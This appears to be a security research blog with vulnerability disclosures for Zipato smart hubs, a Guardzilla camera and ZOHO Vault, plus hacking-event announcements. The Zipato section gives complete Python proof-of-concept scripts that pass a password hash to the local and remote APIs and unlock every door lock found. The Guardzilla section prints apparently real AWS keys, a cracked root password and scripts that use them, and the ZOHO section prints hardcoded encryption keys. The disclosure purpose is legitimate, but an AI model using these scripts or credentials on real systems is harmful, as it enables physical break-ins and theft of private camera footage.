BlackMarble

Breaking & Entering with Zipato SmartHubs

INIT_6 — Tue, 02 Jul 2019 08:40:00 GMT

Researcher Contact Information

Name	Contact	Role
Charles Dardaman	@CharlesDardaman	Reverse Engineered API
INIT_6	@INIT_3	Discovered Root SSH Key

Executive Summary

During the 0DAYALLDAY Research Event three vulnerabilities were discovered in the ZipaMicro Z-Wave Controller Model #: ZM.ZWUS and the Zipabox Z-Wave Controller Model #: 2AAU7-ZBZWUS. Two vulnerabilities are in the design and implementation of the authentication mechanism in the Zipato Application Programming Interface (API). The third vulnerability is embedded SSH private key for ROOT which isn't unique and can be extracted.

Approach

When we first got our hands on the smart lock and hub we thought of attacking it in three different senarios. First, could we unlock the door remotely without having access to anything before hand. Second, if we were an apartment resident with this solution could we take data off the device in order to unlock all the other residents' front doors. Lastly, could we find a vulnerability or misconfiguration that would allow an attacker to unlock the door on the same network. During our research we were able to prove that two of these methods of attack were viable and if we had more time might have proven all three to be feasable.

Product Description

The Zipato ZM.ZWUS ZipaMicro Z-Wave controller is the smallest controller in the Zipato's line of Z-Wave controllers. It's used to manage and control Z-Wave and IP devices remotely. Vendor product page can be found here.

The Zipato 2AAU7-ZBZWUS Zipabox Z-Wave controller is their module based controller allowing for additional modules to be attached. It's used to manage and control Z-Wave, IP devices, among other modules that can be attached remotely. Vendor product page can be found here.

Findings Overview

This section summarizes the strategic problems identified, risk ratings, and recommendations. The Detailed Testing section describes the attempted attacks, evidence (including screen shots), risk-ratings, and potential solutions.

The results from this testing as well as any additional details regarding any further exposure can be found in the Detailed Testing section.

Device	Zipato ZM.ZWUS ZipaMicro Z-Wave controller

Finding	Risk Rating	Remediation Status
Embedded SSH Private key for ROOT	CRITICAL	Vulnerable
Pass-the-Hash Local API Authentication	CRITICAL	Vulnerable
Pass-the-Hash Remote API Authentication	CRITICAL	Vulnerable

Detailed Technical Description

Embedded SSH Private key for ROOT (CVE-2019-9560)

The SSH key was found by removing the SD Card from the device and imaging the SD Card. SSH key was found in '/etc/dropbear/' with the name 'dropbear_rsa_host_key' which is password protected when using this format but you can still extract the Private and Public key.

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i dropbear_rsa_host_key root@192.168.6.60
Enter passphrase for key 'dropbear_rsa_host_key':

Extracting the private key with dropbearconvert tool:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ /usr/lib/dropbear/dropbearconvert dropbear openssh dropbear_rsa_host_key zipato_id_rsa
Key is a ssh-rsa key
Wrote key to 'zipato_id_rsa'

Private key:

Extracting the public key with dropbearkey tool:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ dropbearkey -y -f dropbear_rsa_host_key | grep "^ssh-rsa " > zipato_id_rsa.pub

The public key matched the public key in /home/root/.ssh/authorized_keys

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i zipato_id_rsa root@192.168.6.60
root@zipaMicro:~# whoami
root

Pass-the-Hash Local API Authentication (CVE-2019-9561)

Users data is stored in '/mnt/data/zipato/storage/USERS':

root@zipaMicro:/mnt/data/zipato/storage/USERS# ls -lah
drwxr-xr-x    4 root     root        4.0K Feb 23 22:12 .
drwxr-xr-x    9 root     root        4.0K Feb 23 22:12 ..
drwxr-xr-x    2 root     root        4.0K Feb 23 18:24 0a5ad19e-ec0f-4a17-b314-5dd328ab913d
drwxr-xr-x    2 root     root        4.0K Feb 23 22:12 a9a6328f-f4d5-4f8f-b724-ee30ebb85594
-rw-r--r--    1 root     root         173 Feb 23 22:07 object.json

Inside each user is a object.json file which includes the SHA1 password hash.

{
    "className": "com.zipato.runtime.BoxUser",
    "uuid": "0a5ad19e-ec0f-4a17-b314-5dd328ab913d",
    "name": "Users Email Account",
    "cv": 0,
    "sv": 0,
    "deleted": true,
    "locked": false,
    "nd": true,
    "tags": null,
    "order": null,
    "master": true,
    "duress": false,
    "alias": null,
    "password": "Users SHA1 Password",
    "number": 1,
    "pinSalt": null,
    "pinToken": null,
    "activeRoles": ["owner", "wallet", "global_cache", "philips_hue", "nest", "brand_limit", "sonos"]
}

After looking at the Zipato API documentation we can build our authentication request with out having to crack the password hash.

First it's required to get the Nonce by sending a get request to '/user/init' endpoint.

Next to login you need to create a token SHA1(nonce + SHA1(password)). Since we already have the SHA1(password) we can just pass the hash from the object.json file.

Once authenticated you can send the door unlock request by sending a PUT request to the API endpoint '/v2/attributes//value' where the UUID is the Z-Wave lock object. This UUID can be found in the file located here '/mnt/data/zipato/storage/attributes.json'

The put data to open the lock is:

{"value":"false"}

To lock the door you set value to "true".

Proof-of-Concept script:

#Written by Charles Dardaman

import requests
import hashlib
import sys
import os
import json
import subprocess
import logging

#Grab passwords and UUIDS
print("Stealing the files")

#trying with scp

#Grabbing files needed for UUID
cmd = "scp -i key root@" + sys.argv[1] + ":/mnt/data/zipato/storage/attributes.json ."
return_code = subprocess.call(cmd, shell=True)
if return_code != 0:
    print("Files not found")
    sys.exit()

#Grabbing files needed for token
cmd = "scp -r -i key root@" + sys.argv[1] + ":/mnt/data/zipato/storage/USERS/ ."
return_code = subprocess.call(cmd, shell=True)
if return_code != 0:
    print("Files not found")
    sys.exit()

#Open the files to parse the json to get the UUID, Username, and Password

print("Forging Keys")

with open("attributes.json") as f:
    data = json.load(f)
    for key in data:
        if key["name"] == "STATE":
            uuid = key["uuid"]
            print(uuid)

#Try for all the users
for root,dirs,files in os.walk("USERS"):
    for name in files:
        userpath = root + "/" + name
        with open(userpath) as f:
            data = json.load(f)
            try:
                username = data["name"]
                password = data["password"]
                print(username)
                print(password)
            except:
                break

            print("Building Crowbar")

            #Get nonce
            r = requests.get("http://" + sys.argv[1] + ":8080/v2/user/init")

            data = json.loads(r.text)
            nonce = data["nonce"]
            print("Nonce= " + nonce)
            jessionid = data["jsessionid"]
            cookies = {"JSESSIONID": jessionid}

            #SHA work SHA1(nonce+password=token)
            np = nonce + password
            print(np)

            hash_object = hashlib.sha1(np.encode())
            token = hash_object.hexdigest()
            print("token: "+ token)

            #Send Login Request
            r = requests.get("http://" + sys.argv[1] + ":8080/v2/user/login?username="+username+"&token="+token,cookies=cookies)

            print(r.text)
            data = json.loads(r.text)

            if data["success"] != "true":
                print("Pure Failure")

            #Send Open
            r = requests.put("http://" + sys.argv[1] + ":8080/v2/attributes/"+uuid+"/value",cookies=cookies,json={"value":"true"})

            print(r.text)
            print("Door Opened")

Pass-the-Hash Remote API Authentication (CVE-2019-9562)

The remote API has the same Pass-the-Hash vulnerability as the local API. Depending on the Zipato implementation it could be possible to control all the ZipatoMicro devices. For example, [REDACTED] implementation has 3 usable credentials. Master account owned by [REDACTED], Master account for the apartment complex, and an account for the renter. Because of this it's possible to control all the devices on the [REDACTED]'s network.

Proof-of-Concept script:

#Written by Charles Dardaman
#INIT_6 Adapted Charles' script for attacking the remote api.

import requests
import hashlib
import sys
import os
import json
import subprocess
import logging
import argparse

def run(username, password, lock):
    url = "https://my.zipato.com/zipato-web/v2"

    print("Building Crowbar")
    #Get nonce
    r = requests.get(url + "/user/init")

    data = json.loads(r.text)
    nonce = data["nonce"]
    print("Nonce: %s" % (nonce) )

    jessionid = data["jsessionid"]
    cookies = {"JSESSIONID": jessionid}

    #SHA work SHA1(nonce+password=token)
    np = nonce + password
    print("nonce + password: %s " % (np) )

    hash_object = hashlib.sha1(np.encode())
    token = hash_object.hexdigest()
    print("token: %s" % (token) )

    #Send Login Request
    r = requests.get(url + "/user/login?username="+username+"&token="+token,cookies=cookies)

    print(r.text)
    data = json.loads(r.text)

    if not data["success"]:
        print("Pure Failure")

    # Get Users
    r = requests.get(url + "/users", cookies=cookies)
    users = json.loads(r.text)

    # Get Devices
    r = requests.get(url + "/devices", cookies=cookies)
    devices = json.loads(r.text)

    # Get all device endpoints and search for Door locks, get all door lock endpoints STATE attributes and then either lock or unlock the doors.
    door_lock_endpoints = []
    device_uuids = []
    for device in devices:
        if 'uuid' in device.keys():
            device_uuids.append(device['uuid'])

    for uuid in device_uuids:
        r = requests.get(url + "/devices/"+uuid+"/endpoints",cookies=cookies)
        data = json.loads(r.text)
        if data:
            r = requests.get(url + "/endpoints/"+data[0]['uuid']+"?attributes=true",cookies=cookies)
            data = json.loads(r.text)
            if 'Door Lock' in data['name']:
                for attribute in data['attributes']:
                    if attribute['name'] == 'STATE':
                        door_lock_endpoints.append(attribute['uuid'])

    if door_lock_endpoints:
        for uuid in door_lock_endpoints:
            if lock:
                r = requests.put(url + "/attributes/"+uuid+"/value",cookies=cookies,json={"value":"true"})
                print("Door Locked")
            else:
                r = requests.put(url + "/attributes/"+uuid+"/value",cookies=cookies,json={"value":"false"})
                print("Door Opened")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Zipato API\nAll Your Houses are belong to us...",epilog=None)
    parser.add_argument("-u","--username",help="Zipato Username",type=str,required=True)
    parser.add_argument("-p","--password",help="Zipato SHA1 Password Hash",type=str,required=True)
    parser.add_argument("--lock",help="Lock Doors",action='store_true')
    parser.add_argument("--unlock",help="Unlock Doors",action='store_true')

    opt = parser.parse_args()
    #Lock = True or unlock = False
    #Fail closed for security.
    try:
        if opt.lock:
            lock = True
        elif opt.unlock:
            lock = False
        else:
            lock = False
    except:
        lock = False

    run(opt.username, opt.password, lock)

Zipato's Response

Their documentation hasn't changed, so Passing-The-Hash is still an issue if you can find the password hash.

Informational Findings

Searching for the RSA fingerprint on Shodan.io found 5 Zipato Micro devices directly on the Internet.

Disclosure Timeline

● Sat, Feb 23, 2019: Issue discovered at 0DayAllDay Research Event
● Mon, March 4th, 2019: Issue disclosed to vendor
● Mon, March 4th, 2019: CVE-2019-9560, CVE-2019-9561, and CVE-2019-9562 reserved
● Wen, March 20th, 2019: Zipato responded saying issues were fixed.
● Tue, July 2nd, 2019: Public disclosure

Special Thanks

Everyone at the 0DayAllDay Hacking Event!
GeniusDen For hosting our event
@TinkerSec Financier of underground criminal empire.
Andrew McPherran @andrewmcpherran for verifying [REDACTED] deployment
Ramsey @Sec00000101 for verifying [REDACTED] deployment
Lesley Carhart @hacks4pancakes for drawing our attention to these types of targets. She has a great talk that can be found on YouTube. Also check out her great blog post here and here.

Guardzilla IoT Video Camera Hard-Coded Credentials (CVE-2018-5560)

INIT_6 — Thu, 27 Dec 2018 02:10:00 GMT

Researcher Contact Information

Name	Contact	Role
Nick McClendon	nicklaus@kulinacs.com	Dumped the firmware and extracted the binaries
Andrew Mirghassemi	a.mirghassemi@live.com	Dumped the firmware and extracted the binaries
Charles Dardaman		Found and Extracted the AWS Credentials from the Binaries
INIT_6		Co-Founder of 0DayAllDay, Cracked the root password
Chris	chris@spectant.io	Co-Founder of 0DayAllDay, AWS Policy Verification

Executive Summary

During the 0DAYALLDAY Research Event a vulnerability was discovered (CVE-2018-5560) in the Guardzilla Security Video System Model #: GZ521W. The vulnerability lies within the design and implementation of Amazon Simple Storage Service (S3) credentials inside the Guardzilla Security Camera firmware. Accessing these S3 storage credentials is trivial for a moderately skilled attacker.

Upon inspection of the access rights given to the S3 credentials within the analyzed firmware it was discovered that the embedded S3 credentials have unlimited access to all S3 buckets provisioned for that account.

While no user data was accessed during our testing, the embedded S3 credentials could easily be used to view and download any stored file/video in the associated buckets.

This issue is an instance of CWE-798: Use of Hard-coded Credentials. It has a CVSSv3 base score of 8.6, since once the password is known, any unauthenticated user can collect the data from any affected system over the internet.

Product Description

The Guardzilla All-In-One Video Security System is a home security platform that provides indoor video surveillance. More information about the product can be found at the vendor’s website. Only the GZ501W model was tested. It is not known if other models are affected.

Findings Overview

The results from this testing as well as any additional details regarding any further exposure can be found in the Detailed Testing section.

Device	Guardzilla GZ521W Security Video System

Finding	Risk Rating	Remediation Status
Embedded S3 Credentials Unlimited Access Policy	CRITICAL	Vulnerable
OpenSSL 1.0.1g Multiple Vulnerabilities	HIGH	Vulnerable

Strategic Recommendations

Strategic recommendations are those actions that can be taken by an organization to address the findings outlined in the findings overview section of this executive summary in a more generic and global way, rather than fixing individual problems instance by instance.

Implementing one or more of these recommendations may greatly improve the security posture of an organization and/or reduce the attack surface or exposure of an application or environment as well as address multiple findings.

Recommendation for Guardzilla:

Review the source code of the various resources and services to verify that no data is being passed to potential malicious 3^rd party providers.
Limit the access policy of the associated embedded S3 credentials to minimize access to cross customer information.
Audit any and all 3^rd party libraries for vulnerabilities and update those libraries where necessary.

Benefits:

Remediate all the findings from CVE-2018-5560
Prevent the application from succumbing to future vulnerabilities.

Detailed Technical Description

During the event a Winbond SPIFlash chip Model #: 25Q128FVSG was identified. The data sheet for the chip can be found here.

Once the firmware was extracted from that chip it was identified to contain a SquashFS file system and a Journaling Flash File System version 2 (JFFS2) file system. It was also noted that the “Distribution Base” is Grain Media ARM Linux 3.3.

Once these file systems were extracted with binwalk, the following string was found in the Message of The Day (MOTD):

Copyright (C) 2005 Faraday Corp. www.faraday.com.tw

It was also noted that the /etc/shadow file contained the following DES encrypted password for the root administrator account:

root:MvynOwD449PkM:0:0:99999:7:::

Because DES has been deprecated since 2005 it was trivially cracked with dual Nvidia GeForce GTX 1080 Ti graphics cards:

hashcat -m 1500 -a 3 -o ../guardzilla.found -O -i --increment-min=8 --increment-max=12 -w 3 -t 50 ../guardzilla.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a

Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: MvynOwD449PkM
Time.Started.....: Tue Oct  2 07:36:30 2018 (3 hours, 35 mins)
Time.Estimated...: Tue Oct  2 11:12:06 2018 (0 secs)
Guess.Mask.......: ?a?a?a?a?a?a?a?a [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:  1176.6 MH/s (49.11ms) @ Accel:8 Loops:1024 Thr:256 Vec:1
Speed.Dev.#2.....:   776.5 MH/s (106.80ms) @ Accel:16 Loops:1024 Thr:256 Vec:1
Speed.Dev.#*.....:  1953.0 MH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 25226596581376/39062500000000 (64.58%)
Rejected.........: 0/25226596581376 (0.00%)
Restore.Point....: 201580544/312500000 (64.51%)
Candidates.#1....: sarKrvcz -> 9poL82dw
Candidates.#2....: AiLwoz3x -> jE3iABuo
HWMon.Dev.#1.....: Temp: 66c Fan: 99% Util: 99% Core:1797MHz Mem:5005MHz Bus:8
HWMon.Dev.#2.....: Temp: 82c Fan: 99% Util:100% Core:1632MHz Mem:4513MHz Bus:8

The recovered password: ‘GMANCIPC’

It was noted that during boot init script launches boot.sh which in turn launches both /mnt/mtd/startapp and /home/daemon.exe. The startapp resource launches vg_boot.sh (which configures low level video settings) and main.exe. The following table represents the binary information for both main.exe and daemon.exe:

Guardzilla Core Binary Data Table
Binary	Architecture	Type	EABI	Link Type	Interpreter	Symbols
main.exe	ELF 32-bit	ARM	5 version 1	Dynamically linked	/lib/ld-uClibc.so.0	Stripped
Daemon.exe	ELF 32-bit	ARM	5 version 1	Dynamically linked	/lib/ld-uClibc.so.0	Not Stripped

Embedded S3 Credentials Unlimited Access Policy

Once the binaries were extracted from the firmware they were analyzed in IDA Pro to determine if any vulnerabilities could be identified. Once the main.exe had been disassembled and analyzed it was noted that a set of strings resembled AWS credentials:

Following the references, we can see that they are exports from the binary that are labeled: accessKey, secretAccessKey, hostname, and bucket. This format lines up with how AWS bucket keys are designed:

AccessKeyIdG	AKIAJQDP34RKL7GGV7OQ
secretAccessKeyG	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
hostName	s3.amazonaws.com
bucket	motion-detection

The following script was developed to test the S3 credentials to determine if they were valid as well as determine what access writes the credentials had:

import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP34RKL7GGV7OQ',aws_secret_access_key='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',region_name='us-west-1')

try:
    result = s3.get_bucket_policy(Bucket='motion-detection')
    print(result)
except Exception as e:
    print(e)

When the run script would error out stating that no specific policy exists on the embedded credentials for the motion-detection bucket:

An error occurred (NoSuchBucketPolicy) when calling the GetBucketPolicy operation: The bucket policy does not exist

The previously mentioned script was modified to list any available S3 buckets accessible by the embedded credentials:

import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP34RKL7GGV7OQ',aws_secret_access_key='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',region_name='us-west-1')

try:
    result = s3.list_buckets()
    print(result)
except Exception as e:
    print(e)

Once run that script lists all buckets accessible by the embedded credentials

{
    'Buckets': [{
        'CreationDate': datetime.datetime(2017, 2, 16, 21, 52, 52, tzinfo = tzutc()),
        'Name': 'elasticbeanstalk-us-west-2-036770821135'
    }, {
        'CreationDate': datetime.datetime(2018, 4, 5, 15, 45, 22, tzinfo = tzutc()),
        'Name': 'facial-detection'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 15, tzinfo = tzutc()),
        'Name': 'free-video-storage'
    }, {
        'CreationDate': datetime.datetime(2018, 3, 9, 20, 7, 19, tzinfo = tzutc()),
        'Name': 'free-video-storage-persist'
    }, {
        'CreationDate': datetime.datetime(2016, 8, 15, 19, 53, 12, tzinfo = tzutc()),
        'Name': 'gz-rds-backups'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 37, 44, tzinfo = tzutc()),
        'Name': 'gz-test-bucket'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 29, tzinfo = tzutc()),
        'Name': 'motion-detection'
    }, {
        'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 47, tzinfo = tzutc()),
        'Name': 'premium-video-storage'
    }, {
        'CreationDate': datetime.datetime(2018, 3, 9, 20, 6, 47, tzinfo = tzutc()),
        'Name': 'premium-video-storage-persist'
    }, {
        'CreationDate': datetime.datetime(2018, 1, 25, 20, 41, 16, tzinfo = tzutc()),
        'Name': 'rekognition-video-console-demo-cmh-guardzilla-2918n05v5rvh'
    }, {
        'CreationDate': datetime.datetime(2017, 5, 17, 16, 1, 9, tzinfo = tzutc()),
        'Name': 'setup-videos'
    }, {
        'CreationDate': datetime.datetime(2018, 1, 24, 23, 0, 39, tzinfo = tzutc()),
        'Name': 'wowza-test-bucket'
    }],
    'Owner': {
        'ID': 'a3db77fe2a21093a2f0d471b0a9677f8aff7c3c7b7a4944b752ccc0c3a4a4af7',
        'DisplayName': 'geoff'
    }
}

Using the PACU AWS framework it was determined that the embedded credentials don’t have permission to gather further details on policies:

{
  "AccessKeyId": "AKIAJQDP34RKL7GGV7OQ",
  "Arn": "arn:aws:iam::036770821135:user/motion-detection",
  "Roles": null,
  "KeyAlias": "Guardzilla",
  "AccountId": "036770821135",
  "UserId": "AIDAJQRSLLW52U7GLHFYE",
  "Groups": [],
  "Policies": [],
  "Permissions": {
    "Deny": {},
    "Allow": {}
  },
  "SecretAccessKey": "igH8yFmmpMbnkcUaCqXJIRIozKVaXaRhE7PWHAYa",
  "UserName": "",
  "RoleName": null,
  "SessionToken": null,
  "PermissionsConfirmed": false
}

No further testing against the credentials was done to prevent the unintentional access of Guardzilla customer data.

OpenSSL 1.0.1g Multiple Vulnerabilities

It was also noted that an out of date OpenSSL library was being referenced inside the firmware. The following table represents the publicly identified vulnerabilities affecting the OpenSSL Library version 1.0.1g.

OpenSSL Library version 1.0.1g Public Vulnerabilities
CVE Number	Date Published	Risk Rating
CVE-2016-0705	2016-03-03	CRITICAL
Description
Double free vulnerability in the dsa_priv_decode function in crypto/dsa/dsa_ameth.c in OpenSSL 1.0.1 before 1.0.1s and 1.0.2 before 1.0.2g allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via a malformed DSA private key.
CVE Number	Date Published	Risk Rating
CVE-2015-0292	2015-03-19	HIGH
Description
Integer underflow in the EVP_DecodeUpdate function in crypto/evp/encode.c in the base64-decoding implementation in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via crafted base64 data that triggers a buffer overflow.
CVE Number	Date Published	Risk Rating
CVE-2014-8176	2015-06-12	HIGH
Description
The dtls1_clear_queues function in ssl/d1_lib.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h frees data structures without considering that application data can arrive between a ChangeCipherSpec message and a Finished message, which allows remote DTLS peers to cause a denial of service (memory corruption and application crash) or possibly have unspecified other impact via unexpected application data.
CVE Number	Date Published	Risk Rating
CVE-2016-0797	2016-03-03	MEDIUM
Description
Multiple integer overflows in OpenSSL 1.0.1 before 1.0.1s and 1.0.2 before 1.0.2g allow remote attackers to cause a denial of service (heap memory corruption or NULL pointer dereference) or possibly have unspecified other impact via a long digit string that is mishandled by the (1) BN_dec2bn or (2) BN_hex2bn function, related to crypto/bn/bn.h and crypto/bn/bn_print.c.
CVE Number	Date Published	Risk Rating
CVE-2015-0287	2015-03-19	MEDIUM
Description
The ASN1_item_ex_d2i function in crypto/asn1/tasn_dec.c in OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before 1.0.2a does not reinitialize CHOICE and ADB data structures, which might allow attackers to cause a denial of service (invalid write operation and memory corruption) by leveraging an application that relies on ASN.1 structure reuse.
CVE Number	Date Published	Risk Rating
CVE-2015-0209	2015-03-19	MEDIUM
Description
Use-after-free vulnerability in the d2i_ECPrivateKey function in crypto/ec/ec_asn1.c in OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before 1.0.2a might allow remote attackers to cause a denial of service (memory corruption and application crash) or possibly have unspecified other impact via a malformed Elliptic Curve (EC) private-key file that is improperly handled during import.

Informational Findings

During the review it was noted that the Guardzilla camera listens on port 23 with an “ipc login” prompt by default. It was also noted a large amount of UDP traffic was being sent to a US-EAST-2 Amazon server. We also noted several HTTP requests going out to:

54.68.243.114 (ec2-54-68-243-114.us-west-2.compute.amazonaws.com)
http://54.68.243.114/apns/apns.php?cmd=reg_server&uid=G1KEXWU2BPWHCFZ5111A
http://54.68.243.114/apns/apns.php?cmd=raise_event&uid=G1KEXWU2BPWHCFZ5111A&event_type=1&event_time=1538239032
52.218.200.66 (s3-us-west-2-w.amazonaws.com)

During the binary review several external IP’s were identified as well as several external data sources. The following table represents all identified external IP’s and data sources identified within the main.exe binary:

Guardzilla main.exe External Hardcoded IP/Data Sources
Host	Data Source Information
61.220.62.219	HiNet, Taiwan
203.69.81.91	HiNet, Taiwan
210.61.248.232	HiNet, Taiwan
42.99.254.162	Pacnet Services, Japan
50.19.254.134	Amazon US-EAST-1, Virginia
122.248.234.207	Amazon AP-SOUTHEAST-1, Singapore
46.137.188.54	Amazon EU-WEST-1, Ireland
122.226.84.253	China Telecom, Jinhua, China
61.188.37.216	China Telecom, Chengdu, China
120.24.59.150	Alibaba, Hangzhou, China
114.215.137.159	Aliyun Computing, Hangzhou, China
104.199.156.58	Google Cloud
175.41.238.100	Amazon AP-NORTHEAST-1, Japan
s3.amazonaws.com	Amazon
time.windows.com	Microsoft
m1.iotcplatform.com	ThroughTek Co, China
m2.iotcplatform.com	ThroughTek Co, China
m3.iotcplatform.com	ThroughTek Co, China
m4.iotcplatform.com	ThroughTek Co, China
m5.iotcplatform.com	ThroughTek Co, China
dropbox_sendFile_record_del	Dropbox
dropbox_sendFile_record_add	Dropbox
g_dropboxFileMutex	Dropbox
dropbox_sendFile_record_get	Dropbox
/mnt/nfs	Local NFS

The highlighted hosts should be further investigated to be sure no unintended video surveillance data is being sent to those hosts/providers. The iotcplatform.com host is especially troubling as it has been identified in previous Krebs on Security research:

It was also noted that a suspected UART port was identified on the circuit board. However, Guardzilla removed two pull-up resistors for production units. Replacement resistors were attempted and worked temporarily. We are confident with the correct surface mount resistors connected to the 3.3-volt line and RX and TX lines the UART port would be usable.

Disclosure Timeline

● Sat, Sep 29, 2018: Issue discovered at 0DayAllDay Research Event
● Wed, Oct 3, 2018: Issue disclosed to Rapid7 for coordinated disclosure
● Wed, Oct 24, 2018: Issue disclosed to vendor
● Thu, Nov 8, 2018: Issue disclosed to CERT/CC as VRF#18-11-NPPXC
● Fri, Dec 14, 2018: CVE-2018-5560 reserved
● Thu, Dec 27, 2018: Public disclosure

As of this writing the vendor hasn't responded to any communication from Rapid7 or CERT.

Special Thanks

Everyone at the 0DayAllDay Hacking Event!
GeniusDen For hosting our event
Rapid7 for coordinated disclosure
The creators of Binwalk, PACU, and Hashcat
Hermit for editing notes

0x02 0DAYALLDAY RESEARCH EVENT - Hardware Hacking

INIT_6 — Wed, 26 Sep 2018 02:57:00 GMT

Hacking, Drinking, & Hacking...

When: September 29th, 2018
Time: 10:00 AM to 11:59 PM
Where: GeniusDen 3106 Commerce St, Dallas, TX 75226

RSVP on Meetup

Food & Drinks:

There are several great places nearby to grab food.
There will be some free booze (vodka, whiskey, beer) If you want you can bring some more.

Rules:

Must participate. Researching for others counts
If you find a vulnerability it's yours. (Unless otherwise noted. Vulnerabilities that involve health or known to be sue happy it will be required to do full disclosure to protect all involved.)
If there is a bug bounty you get to choose what to do with the money. Sponsor next event or keep it. Maybe a little of both.
Smoking analog or vape please step outside.
Don't be a dick.

Prize's:

Most found CVE's - $50 Gift Card to Amazon
Best vulnerability found - $25 Gift Card to Amazon
Community MVP - $25 Gift Card to Amazon
Miss Congeniality - Hugs and Free 0DayAllDay T-Shirt

Hacking:

This quarters theme is Hardware Hacking.

Arris Surfboard - Model SB6141 (Forced full disclosure)
Netgear - CM500-100NAS Cable Modem (Forced full disclosure)
AT&T Router/Gateway - Model 5268ac
Guardzilla - All-In-One Video Security System
D-Link N300 WiFi Router - Model DIR-605L H/W Ver.: B3, F/W Ver.: 2.09UI
TP-Link 300 Wireless N Router - Model TL-WR841N
TP-Link 150 Wireless N Router - Model TL-WR741ND
Carl and Stuart Flexi Cam
Space Invaders
WYZE Cam - Model WYZECP1
Couple surprise targets as well.
If you have something you want to hack on feel free to bring it. (Please note you will have to relieve us of any damage that might happen, aka we will most likely break it.)

Details of targets

Listed here is any work done by others and can be used as reference or to jump start our work.

Car and Stuart Flexi Cam Blog
AT&T Router/Gateway Blog
AT&T Router/Gateway Slides
Guardzilla Not really vulnerabilities but interesting info that should be validated Post
TP-Link 300 TL-WR841N We have already done some work on this one and found some easy wins.
All targets should be Googled before hand just to double check if there is any pre-existing work.

Getting started

Slides INIT_6 did for PWN School. Brief overview Slides

Tools & Equipment

Laptop is required
If you have a Bus Pirate, Shikra, OSEPP FTDI, JTagulator, or any UART or JTAG equipment you should bring it. We will have enough equipment for teams of 3 or 4 people. That being said more is always better.
We will have 2 soldering irons, Header pins, jumper wires, etc However, if you have some feel free to bring it.

Software

Kali Linux (Already has most of the tools needed, You can use Windows but Linux will be better)
Binwalk GitHub Make sure you follow the this install guide and do all the dependencies. GitHub Wiki
OpenOCD for JTag Site

ZOHO - A Story Of Where Not To Store Keys

INIT_6 — Thu, 12 Jul 2018 03:28:00 GMT

The second 0DayAllDay event was June 9th, 2018 from 10am to 9pm. It was organized by Spectant Security and Blackmarble.sh. More information on 0DayAllDay can be found here

Last 0DayAllDay event was focused around Password Managers, Thycotic, Keeper, ZOHO Vault were a some of the targets. Only bug that was found was for ZOHO Vault.

ZOHO Vault is an online password manager focused on businesses. Included in their software is a AD/LDAP provisioning application. The application ask some standard question like your master ZOHO Account Username and Password, Domain Administrator (What isn't really needed) Username and Password, connection details. After you fill this out, Application connects to the Domain Controller and you select the users you want to import into ZOHO Vault.

The AD/LDAP provisioning application stores the AES encryption key and IV in the source code. Obtaining these strings is trivial. You can use JetBrains.dotPeek for example to decompile the executable.

Once decompiled, you can see that Provisioning_Utils namespace has a CryptUtil class that uses a static string for both the Key and IV.

namespace Provisioning_Utils
{
    public class CryptUtil
{
private static UTF8Encoding encoding = new UTF8Encoding();
private static byte[] kBytes = CryptUtil.encoding.GetBytes("6ZUJiqpBKHuNuS@*");
private static byte[] tmpIV = CryptUtil.encoding.GetBytes("BJLTHGVTPJQMDEXO");

The vault.zoho.com account password and the Windows Administrator account password are stored in the provisioning.conf file as encrypted text. The Provisioning application can be ran on any computer on the domain. Access to this provisioning.conf file is not guaranteed to be protected. It some cases it would be fairly easy for unauthorized access to the provisioning.conf file.

I have successfully wrote a new standalone program that takes the encrypted text as an argument and decrypts the password showing the plain text password.

First, C# program I have made. It was pretty easy, just needed to copy and paste the decompiled code. Googled a few things, and surprisingly got it to build on the second try.

For full source code and binary check out my GitHub

You do need some other access to exploit this; however, for pentesters if they find this provisioning.conf file game over. ~~Gain access to all the passwords saved on ZOHO Vault~~ (Edit: You need a secondary password to decrypt the Vault) and have Domain Admin. It was reckless to have the keys to your kingdom so easily available.

ZOHO issued me their own CVE number: ZVE-2018-0976

Disclosure Timeline:
Found Vulnerability: June 8th, 2018
Disclosed to ZOHO: June 10th, 2018
ZOHO Closed: July 12th, 2018

Reward: ~~Nothing :( 10 stupid points. I can't buy beer with points.~~

EDIT:

ZOHO Updates Ticket: July 13th, 2018

Reward: $100 and 10pts. We have beer money for the next event now.

After making a post I like to watch Google Analytics for my blog just to see the kind of response I get. Got a couple referrals from supportlab.zoho.com and docs.zoho.com less than a hour from posting on twitter. I think they have a twitter bot looking for their name. Anyways, they updated the ticket I had open with them.

It is true, I had an error. Even though you have the ZOHO Vault login password, you need a secondary encryption password to get access to the content (View Passwords).

They fixed the vulnerability by removing the unneeded ZOHO account password and using dynamic unique keys to encrypt scoped authentication token and AD Password for every installation.

Finial notes:

What this tells me is the Authentication token doesn't expire I thought this was true as I played around with it as well. Which was clear text before in the provisioning.conf. Now I am interested in the new way they are doing the keys. I'll have to take another look when I get some time.

0x01 0DAY ALL DAY RESEARCH EVENT

INIT_6 — Fri, 08 Jun 2018 02:42:00 GMT

Hacking, Drinking, & Hacking...

When: June 9th, 2018
Time: 10:00 AM to 11:59 PM
